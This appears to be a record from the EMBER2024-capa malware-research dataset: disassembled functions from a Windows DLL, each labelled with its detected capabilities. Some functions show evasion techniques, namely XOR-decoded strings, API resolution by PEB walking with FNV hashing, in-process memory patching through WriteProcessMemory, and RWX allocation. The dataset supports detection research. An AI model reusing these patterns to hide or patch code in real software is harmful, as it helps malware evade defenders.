joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800bb2d0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
mov eax, 0x2050
call fcn.180154180
sub rsp, rax
mov rax, qword [0x1802242b8]
xor rax, rsp
mov qword [rsp + 0x2040], rax
mov rbx, rdx
mov rdi, r8
lea rdx, [rsp + 0x20]
call fcn.1800aca50
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.1800ada10
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.1800adae0
xor eax, eax
test rbx, rbx
setne al
mov rcx, qword [rsp + 0x2040]
xor rcx, rsp
call fcn.180153af0
mov rbx, qword [rsp + 0x2078]
add rsp, 0x2050
pop rdi
ret

Function at 0x1800c2230
Capabilities:
Query environment variable

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x140
mov rax, qword [0x1802242b8]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbp, qword [rsp + 0x190]
mov rdi, rcx
mov rcx, r8
mov rbx, r9
mov r14, rdx
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rsi, rax
test rax, rax
jne 0x1800c2283
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rsi, rax
test rax, rax
je 0x1800c2301
lea r8, str.LUA_NOENV
mov edx, 0xfff0b9d8
mov rcx, rdi
call fcn.1800a96f0
mov edx, 0xffffffff
mov rcx, rdi
call fcn.1800ab920
mov edx, 0xfffffffe
mov rcx, rdi
mov ebx, eax
call fcn.1800ab610
test ebx, ebx
jne 0x1800c2301
lea r9, [0x1801b8bec]
mov rdx, rsi
lea r8, [0x1801b8bf0]
mov rcx, rdi
call fcn.1800ad220
mov r9, rbp
lea r8, reloc.WS2_32.dll_accept
mov rdx, rax
mov rcx, rdi
call fcn.1800ad220
lea edx, [rbx - 2]
mov rcx, rdi
lea r8d, [rbx - 1]
call fcn.1800ab170
lea edx, [rbx - 2]
mov rcx, rdi
call fcn.1800ab610
jmp 0x1800c230c
mov rdx, rbp
mov rcx, rdi
call fcn.1800aa870
mov r8d, 0x105
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1800c2387
cmp eax, 0x105
je 0x1800c2387
mov edx, 0x5c
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x1800c2387
xor r8d, r8d
mov byte [rax], 0
mov rcx, rdi
lea edx, [r8 - 1]
call fcn.1800abaa0
mov rdx, rax
lea r9, [rsp + 0x20]
lea r8, reloc.WLDAP32.dll_Ordinal_33
mov rcx, rdi
call fcn.1800ad220
mov edx, 0xfffffffe
mov rcx, rdi
lea r8d, [rdx + 1]
call fcn.1800ab170
mov edx, 0xfffffffe
mov rcx, rdi
call fcn.1800ab610
jmp 0x1800c2396
lea rdx, str.unable_to_get_ModuleFileName
mov rcx, rdi
call fcn.1800acf20
mov r8, r14
mov edx, 0xfffffffe
mov rcx, rdi
call fcn.1800ab2d0
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.180153af0
add rsp, 0x140
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1800c31a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x28
mov qword [rsp + 0x70], rbx
mov r12, rdx
mov rbx, rcx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_localeconv]
xor edi, edi
lea r13, [0x1801b71a0]
xorps xmm1, xmm1
mov r10d, edi
mov esi, edi
mov r9d, edi
mov r8, qword [rax]
mov r11d, edi
movsx r14d, byte [r8]
mov qword [r12], rbx
movzx eax, byte [rbx]
test byte [rax + r13 + 1], 8
je 0x1800c31ff
nop dword [rax]
movzx eax, byte [rbx + 1]
inc rbx
test byte [rax + r13 + 1], 8
jne 0x1800c31f0
mov qword [rsp + 0x20], r15
lea rdx, [rbx + 1]
mov ebp, 1
cmp al, 0x2d
jne 0x1800c3216
mov r15d, ebp
jmp 0x1800c321f
cmp al, 0x2b
mov r15d, edi
cmovne rdx, rbx
cmp byte [rdx], 0x30
mov rbx, qword [rsp + 0x70]
jne 0x1800c3358
movzx eax, byte [rdx + 1]
sub al, 0x58
test al, 0xdf
jne 0x1800c3358
movsd xmm2, qword [0x1801b8f18]
add rdx, 2
nop word [rax + rax]
movzx r8d, byte [rdx]
movsx rcx, r8b
cmp ecx, r14d
jne 0x1800c326a
test r11d, r11d
jne 0x1800c32bf
mov r11d, ebp
inc rdx
jmp 0x1800c3250
test byte [r8 + r13 + 1], 0x10
je 0x1800c32bf
test r10d, r10d
jne 0x1800c3281
cmp r8b, 0x30
jne 0x1800c3281
inc esi
jmp 0x1800c32b2
inc r10d
cmp r10d, 0x1e
jg 0x1800c32af
test byte [rcx + r13 + 1], 2
je 0x1800c3297
add ecx, 0xffffffd0
jmp 0x1800c329d
or ecx, 0x20
sub ecx, 0x57
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm2
addsd xmm1, xmm0
jmp 0x1800c32b2
inc r9d
test r11d, r11d
je 0x1800c32ba
dec r9d
inc rdx
jmp 0x1800c3250
lea eax, [rsi + r10]
test eax, eax
je 0x1800c3358
mov qword [r12], rdx
lea r9d, [r9*4]
movzx eax, byte [rdx]
sub al, 0x50
test al, 0xdf
jne 0x1800c333e
movzx ecx, byte [rdx + 1]
cmp cl, 0x2d
jne 0x1800c32f0
mov eax, 2
jmp 0x1800c32fe
cmp cl, 0x2b
mov rax, rdi
mov ebp, edi
sete al
inc rax
lea r8, [rdx + rax]
movzx edx, byte [rdx + rax]
test byte [rdx + r13 + 1], 2
je 0x1800c3358
nop
movsx eax, dl
lea edi, [rdi + rdi*4]
inc r8
lea edi, [rdi - 0x18]
lea edi, [rax + rdi*2]
movzx eax, byte [r8]
movzx edx, al
test byte [rax + r13 + 1], 2
jne 0x1800c3310
mov eax, edi
mov qword [r12], r8
neg eax
test ebp, ebp
cmove eax, edi
add r9d, eax
test r15d, r15d
je 0x1800c334a
xorps xmm1, xmmword [0x1801b5470]
mov edx, r9d
movaps xmm0, xmm1
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_ldexp]
jmp 0x1800c335b
xorps xmm0, xmm0
mov r15, qword [rsp + 0x20]
add rsp, 0x28
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1800c4870
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
xor r9d, r9d
mov qword [rdx + 0x10], 0xffffffffffffffff
lea r10, [r8 + 0x18]
mov dword [rdx + 8], r9d
mov dword [rdx], 7
mov r11, rdx
movzx r8d, byte [r10]
test r8b, r8b
je 0x1800c48d8
nop word [rax + rax]
movzx edx, r8b
lea r10, [r10 + 1]
sub r8b, 0x41
cmp r8b, 0x19
movzx r8d, byte [r10]
lea eax, [rdx + 0x20]
movzx ecx, al
cmova ecx, edx
movsx eax, cl
add eax, r9d
imul r9d, eax, 0x401
mov eax, r9d
shr eax, 6
xor r9d, eax
test r8b, r8b
jne 0x1800c48a0
lea eax, [r9 + r9*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul eax, ecx, 0x8001
movsxd rcx, eax
mov qword [r11 + 8], rcx
ret
Function at 0x1800c5550
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x1802242b8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rsi, qword [rcx + 0x30]
mov rbx, rcx
mov ecx, dword [rcx + 0x10]
xor edi, edi
mov ebp, r8d
mov r14, rdx
sub ecx, 0x28
je 0x1800c5668
sub ecx, 0x53
je 0x1800c5659
sub ecx, 0xaa
je 0x1800c562e
cmp ecx, 1
jne 0x1800c574d
mov r9, qword [rbx + 0x18]
mov r10d, edi
add r9, 0x18
mov qword [rsp + 0x40], 0xffffffffffffffff
mov dword [rsp + 0x30], 7
movzx r8d, byte [r9]
test r8b, r8b
je 0x1800c5608
nop dword [rax + rax]
movzx edx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
cmp r8b, 0x19
movzx r8d, byte [r9]
lea eax, [rdx + 0x20]
movzx ecx, al
cmova ecx, edx
movsx eax, cl
add eax, r10d
imul r10d, eax, 0x401
mov eax, r10d
shr eax, 6
xor r10d, eax
test r8b, r8b
jne 0x1800c55d0
lea eax, [r10 + r10*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul eax, ecx, 0x8001
movsxd rcx, eax
mov qword [rsp + 0x38], rcx
mov rcx, rbx
call fcn.1800bc310
jmp 0x1800c56d1
mov rdx, qword [rbx + 0x18]
mov rcx, rsi
call fcn.1800b2c10
mov rcx, rbx
mov qword [rsp + 0x40], 0xffffffffffffffff
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x38], eax
call fcn.1800bc310
jmp 0x1800c56d1
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.1800c4900
jmp 0x1800c56d1
mov rcx, rbx
call fcn.1800bc310
cmp dword [rbx + 0x10], 0x29
jne 0x1800c567c
mov dword [rsp + 0x30], edi
jmp 0x1800c56bd
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.1800c7090
cmp dword [rbx + 0x10], 0x2c
jne 0x1800c56aa
mov rcx, rbx
call fcn.1800bc310
mov rcx, qword [rbx + 0x30]
lea rdx, [rsp + 0x30]
call fcn.1800b1c80
jmp 0x1800c567c
mov r8d, 0xffffffff
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.1800b2a50
mov edx, reloc.WLDAP32.dll_Ordinal_41
mov r9d, ebp
mov rcx, rbx
lea r8d, [rdx - 1]
call fcn.1800c46a0
mov ecx, dword [rsp + 0x30]
mov ebx, dword [r14 + 8]
lea eax, [rcx - 0xe]
cmp eax, 1
jbe 0x1800c56f8
test ecx, ecx
je 0x1800c56f2
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.1800b1c80
movzx edi, byte [rsi + 0x3c]
sub edi, ebx
mov r9d, edi
mov dword [rsp + 0x20], 2
mov r8d, ebx
mov edx, Ordinal_41
mov rcx, rsi
call fcn.1800b1770
mov edx, ebp
mov qword [r14 + 0x10], 0xffffffffffffffff
mov rcx, rsi
mov dword [r14], reloc.WS2_32.dll_ntohl
mov dword [r14 + 8], eax
call fcn.1800b1d20
inc bl
mov byte [rsi + 0x3c], bl
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180153af0
add rsp, 0x50
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
lea rdx, str.function_arguments_expected
mov rcx, rbx
call fcn.1800bc3e0
int3

Function at 0x1800c8690
Capabilities:
Encode data using xor

Disassembly:
mov eax, edx
mov r9, rdx
xor eax, r8d
mov r10, rcx
mov r8, rdx
shr r8, 5
inc r8
cmp rdx, r8
jb 0x1800c86ce
nop word [rax + rax]
movzx edx, byte [r10 + r9 - 1]
mov ecx, eax
shl ecx, 5
sub r9, r8
add edx, ecx
mov ecx, eax
shr ecx, 2
add edx, ecx
xor eax, edx
cmp r9, r8
jae 0x1800c86b0
ret
Function at 0x1800c8b30
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x20
mov rsi, r8
mov rbp, rdx
cmp r8, 0x28
ja 0x1800c8b55
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
jmp fcn.1800c84b0
lea rax, [r8 + 1]
movabs rdx, 0x7fffffffffffffe7
cmp rax, rdx
ja 0x1800c8bc1
mov rax, qword [rcx + 0x18]
add r8, 0x19
mov qword [rsp + 0x30], rbx
mov edx, Ordinal_27
mov qword [rsp + 0x38], rdi
mov ebx, dword [rax + 0x60]
call fcn.1800b7fe0
mov r8, rsi
mov rdx, rbp
mov rdi, rax
lea rcx, [rax + 0x18]
mov dword [rax + 0xc], ebx
mov byte [rax + 0xa], 0
call sub.VCRUNTIME140.dll_memcpy
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rbp, qword [rsp + 0x40]
mov byte [rdi + rsi + 0x18], 0
mov qword [rdi + 0x10], rsi
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rsi
ret
call fcn.1800c1310
int3

Function at 0x1800d4be0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1802242b8]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rdx
mov rbx, rcx
mov ecx, 8
call fcn.180153c5c
test rax, rax
je 0x1800d4c11
mov qword [rax], rdi
mov qword [rsp + 0x30], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1800d76e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x1800d4c5e
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180153af0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3

Function at 0x1800d5280
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xf], sil
je 0x1800d52b4
mov eax, esi
lea ecx, [rax + 0x21]
xor byte [r8 + rax], cl
inc rax
cmp rax, 0xe
jb 0x1800d52a0
mov byte [r8 + 0xf], sil
add r8, 0xe
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.18000f600
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1800d52d9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.180012330
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800d5353
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800d534e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800d534e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180153a5c
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x1800dc780
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
movdqa xmm0, xmmword [str.rGOAFR_aAO_vJDBJ]
xor edi, edi
movdqa xmm1, xmmword [0x1801bc880]
mov ecx, edi
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x10], 1
movdqu xmmword [rbp - 0x20], xmm1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x21]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x1f
jb 0x1800dc7c0
xorps xmm0, xmm0
mov byte [rbp - 0x10], dil
mov rbx, 0xffffffffffffffff
mov qword [rbp - 0x40], rdi
movups xmmword [rbp - 0x50], xmm0
mov r8, rbx
mov qword [rbp - 0x38], rdi
lea rax, [rbp - 0x30]
inc r8
cmp byte [rax + r8], dil
jne 0x1800dc7f1
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.18001d950
lea rdx, [rbp - 0x50]
lea rcx, [0x18022b860]
call fcn.1800f6010
movdqa xmm0, xmmword [str.rGOAFR_aAO_vJDBJ]
mov rcx, rdi
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x1452477d
mov dword [rbp - 0x3c], 0x1173631d
mov word [rbp - 0x38], 0x100
nop dword [rax + rax]
lea eax, [rcx + 0x21]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x18
jb 0x1800dc840
xorps xmm0, xmm0
mov byte [rbp - 0x37], dil
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rdi
lea rax, [rbp - 0x50]
mov qword [rbp - 0x18], rdi
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x1800dc870
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.18001d950
lea rdx, [rbp - 0x30]
lea rcx, [0x18022b980]
call fcn.1800f6010
movdqa xmm0, xmmword [str.rGOAFR_aAO_vJDBJ]
mov rcx, rdi
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x52477d
mov byte [rbp - 0x3c], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x21]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x13
jb 0x1800dc8c0
xorps xmm0, xmm0
mov byte [rbp - 0x3c], dil
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rdi
lea rax, [rbp - 0x50]
mov qword [rbp - 0x18], rdi
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x1800dc8f0
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.18001d950
lea rdx, [rbp - 0x30]
lea rcx, [0x18022baa0]
call fcn.1800f6010
movdqa xmm0, xmmword [str.rGOAFR_aAO_vHXC_]
mov rcx, rdi
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x505f5d57
mov dword [rbp - 0x3c], 0x1004450
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x21]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x16
jb 0x1800dc940
xorps xmm0, xmm0
mov byte [rbp - 0x39], dil
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rdi
lea rax, [rbp - 0x50]
mov qword [rbp - 0x18], rdi
inc rbx
cmp byte [rax + rbx], dil
jne 0x1800dc967
mov r8, rbx
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.18001d950
lea rdx, [rbp - 0x30]
lea rcx, [0x18022bbc0]
call fcn.1800f6010
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1800f0060
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rsi
push r14
push r15
sub rsp, 0x40
xor r15d, r15d
mov rsi, rdx
cmp dword [rcx], 1
mov r14, rcx
jne 0x1800f01d3
mov rax, qword [0x18022c150]
mov qword [rsp + 0x60], rbx
test rax, rax
jne 0x1800f0161
mov rax, qword gs:[0x60]
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x70], rdi
mov r8, qword [rax + 0x18]
mov rax, qword [r8 + 0x10]
mov rbp, qword [rax]
mov r11, rbp
nop dword [rax]
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f0138
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f0138
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x3aa6f8ae
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1800f0133
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1800f0110
cmp edx, 0x68c6dea0
je 0x1800f01b7
test r8d, r8d
jne 0x1800f00f0
mov rax, qword [r11]
mov r11, rax
cmp rax, rbp
je 0x1800f014d
cmp qword [rax + 0x30], r15
jne 0x1800f00c0
mov rax, r15
mov rdi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov qword [0x18022c150], rax
movzx ecx, word [r14 + 4]
lea rbx, [0x18022b728]
mov r8, rbx
lea rdx, [r14 + 8]
mov r9d, reloc.WS2_32.dll_recv
call rax
xorps xmm0, xmm0
mov r8, 0xffffffffffffffff
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
inc r8
cmp byte [rbx + r8], r15b
jne 0x1800f0191
mov rdx, rbx
mov rcx, rsi
call fcn.18001d950
mov rbx, qword [rsp + 0x60]
mov rax, rsi
add rsp, 0x40
pop r15
pop r14
pop rsi
ret
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1800f0150
mov dword [rsp + 0x28], 0x4a484c54
mov rcx, r15
mov dword [rsp + 0x2c], 0x49514a
mov byte [rsp + 0x30], 1
nop dword [rax + rax]
lea eax, [rcx + 0x21]
xor byte [rsp + rcx + 0x28], al
inc rcx
cmp rcx, 7
jb 0x1800f01f0
xorps xmm0, xmm0
mov byte [rsp + 0x30], r15b
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r15
lea rax, [rsp + 0x28]
mov qword [rdx + 0x18], r15
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x1800f0220
lea rdx, [rsp + 0x28]
mov rcx, rsi
call fcn.18001d950
mov rax, rsi
add rsp, 0x40
pop r15
pop r14
pop rsi
ret
Function at 0x1800fbd70
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1802242b8]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], edx
mov rsi, rcx
mov rax, qword gs:[0x60]
movsxd rbp, r8d
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800fbe27
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800fbe27
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x86a56350
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1800fbe22
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1800fbe00
cmp r8d, 0x83593c71
je 0x1800fbe2c
test r9d, r9d
jne 0x1800fbde0
mov rax, qword [rax]
jmp 0x1800fbdb0
mov edx, dword [rbx + 0x24]
mov rcx, rsi
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
add rax, r10
call rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rbx + rbp]
mov qword [rsp + 0x20], 0
mov rcx, rax
lea r8, [rsp + 0x30]
mov r9d, 4
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180153af0
mov rbx, qword [rsp + 0x78]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x180101c80
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.180101ed0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x180101d9a
mov rax, qword [0x180224250]
cmp qword [rsp + 0x20], rax
jb 0x180101ce4
mov rax, qword [0x180224258]
cmp qword [rsp + 0x20], rax
ja 0x180101ce4
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x180101ca6
mov r8d, Ordinal_50
xor edx, edx
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov r8d, Ordinal_50
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x180101d15
jmp 0x180101d9a
cmp dword [rsp + 0x50], 0x10000
jne 0x180101d7d
cmp qword [rsp + 0x48], 0x10000
jb 0x180101d7d
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180101d5b
mov rax, qword [rsp + 0x28]
jmp 0x180101d9c
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x180101d6b
xor eax, eax
jmp 0x180101d9c
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x180101d95
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.180101ed0
mov qword [rsp + 0x20], rax
jmp 0x180101ca6
xor eax, eax
add rsp, 0x68
ret

Function at 0x180101db0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.180101f10
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x180101ec6
mov rax, qword [0x180224250]
cmp qword [rsp + 0x20], rax
jb 0x180101e0b
mov rax, qword [0x180224258]
cmp qword [rsp + 0x20], rax
ja 0x180101e0b
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x180101dcd
mov r8d, Ordinal_50
xor edx, edx
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov r8d, Ordinal_50
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x180101e3c
jmp 0x180101ec6
cmp dword [rsp + 0x50], 0x10000
jne 0x180101ea4
cmp qword [rsp + 0x48], 0x10000
jb 0x180101ea4
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180101e82
mov rax, qword [rsp + 0x28]
jmp 0x180101ec8
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x180101e92
xor eax, eax
jmp 0x180101ec8
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x180101ec1
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.180101f10
mov qword [rsp + 0x20], rax
jmp 0x180101dcd
xor eax, eax
add rsp, 0x68
ret